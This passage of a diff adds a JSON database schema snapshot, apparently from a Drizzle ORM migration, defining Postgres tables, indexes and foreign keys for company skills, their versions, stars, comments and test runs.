+          "onUpdate": "no action"
+        },
+        "company_skill_comments_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_comments_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_parent_comment_id_company_skill_comments_id_fk": {
+          "name": "company_skill_comments_parent_comment_id_company_skill_comments_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "company_skill_comments",
+          "columnsFrom": [
+            "parent_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_comments_author_agent_id_agents_id_fk": {
+          "name": "company_skill_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_stars": {
+      "name": "company_skill_stars",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_stars_skill_agent_idx": {
+          "name": "company_skill_stars_skill_agent_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_skill_user_idx": {
+          "name": "company_skill_stars_skill_user_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_stars_company_skill_created_idx": {
+          "name": "company_skill_stars_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_stars_company_id_companies_id_fk": {
+          "name": "company_skill_stars_company_id_companies_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_stars_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_stars_agent_id_agents_id_fk": {
+          "name": "company_skill_stars_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_stars",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_inputs": {
+      "name": "company_skill_test_inputs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content": {
+          "name": "content",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by": {
+          "name": "created_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_inputs_company_skill_name_idx": {
+          "name": "company_skill_test_inputs_company_skill_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_inputs_company_skill_active_idx": {
+          "name": "company_skill_test_inputs_company_skill_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_inputs_company_id_companies_id_fk": {
+          "name": "company_skill_test_inputs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_inputs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_inputs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_inputs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_run_templates": {
+      "name": "company_skill_test_run_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_run_templates_company_active_idx": {
+          "name": "company_skill_test_run_templates_company_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_run_templates_company_id_companies_id_fk": {
+          "name": "company_skill_test_run_templates_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_created_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_runs": {
+      "name": "company_skill_test_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_id": {
+          "name": "input_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_snapshot": {
+          "name": "input_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_version_id": {
+          "name": "skill_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_config_snapshot": {
+          "name": "agent_config_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_name": {
+          "name": "template_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_body": {
+          "name": "template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rendered_template_body": {
+          "name": "rendered_template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_description": {
+          "name": "harness_issue_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "output_document_key": {
+          "name": "output_document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'output'"
+        },
+        "output_snapshot": {
+          "name": "output_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_at": {
+          "name": "superseded_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_expires_at": {
+          "name": "harness_issue_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_deleted_at": {
+          "name": "harness_issue_deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_runs_company_skill_created_idx": {
+          "name": "company_skill_test_runs_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_issue_idx": {
+          "name": "company_skill_test_runs_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_input_created_idx": {
+          "name": "company_skill_test_runs_company_input_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "input_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_status_idx": {
+          "name": "company_skill_test_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_harness_expires_idx": {
+          "name": "company_skill_test_runs_company_harness_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_issue_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_runs_company_id_companies_id_fk": {
+          "name": "company_skill_test_runs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_runs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk": {
+          "name": "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_test_inputs",
+          "columnsFrom": [
+            "input_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk": {
+          "name": "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "skill_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_agent_id_agents_id_fk": {
+          "name": "company_skill_test_runs_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_issue_id_issues_id_fk": {
+          "name": "company_skill_test_runs_issue_id_issues_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_versions": {
+      "name": "company_skill_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_id": {
+          "name": "release_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_name": {
+          "name": "release_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_versions_skill_revision_idx": {
+          "name": "company_skill_versions_skill_revision_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_skill_release_idx": {
+          "name": "company_skill_versions_skill_release_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "release_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_skill_versions\".\"release_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_company_skill_created_idx": {
+          "name": "company_skill_versions_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_versions_company_id_companies_id_fk": {
+          "name": "company_skill_versions_company_id_companies_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_versions_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_author_agent_id_agents_id_fk": {
+          "name": "company_skill_versions_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skills": {
+      "name": "company_skills",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "markdown": {
+          "name": "markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "source_locator": {
+          "name": "source_locator",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_ref": {
+          "name": "source_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trust_level": {
+          "name": "trust_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown_only'"
+        },
+        "compatibility": {
+          "name": "compatibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compatible'"
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "icon_url": {
+          "name": "icon_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tagline": {
+          "name": "tagline",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_name": {
+          "name": "author_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "homepage_url": {
+          "name": "homepage_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "categories": {
+          "name": "categories",
+          "type": "text[]",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'"
+        },
+        "sharing_scope": {
+          "name": "sharing_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "public_share_token": {
+          "name": "public_share_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_skill_id": {
+          "name": "forked_from_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_company_id": {
+          "name": "forked_from_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "star_count": {
+          "name": "star_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "install_count": {
+          "name": "install_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "fork_count": {
+          "name": "fork_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "current_version_id": {
+          "name": "current_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skills_company_key_idx": {
+          "name": "company_skills_company_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_name_idx": {
+          "name": "company_skills_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_folder_idx": {
+          "name": "company_skills_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_categories_idx": {
+          "name": "company_skills_company_categories_idx",
+          "columns": [
+            {
+              "expression": "categories",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "company_skills_company_sharing_scope_idx": {
+          "name": "company_skills_company_sharing_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "sharing_scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_current_version_idx": {
+          "name": "company_skills_company_current_version_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_version_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_forked_from_idx": {
+          "name": "company_skills_company_forked_from_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "forked_from_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
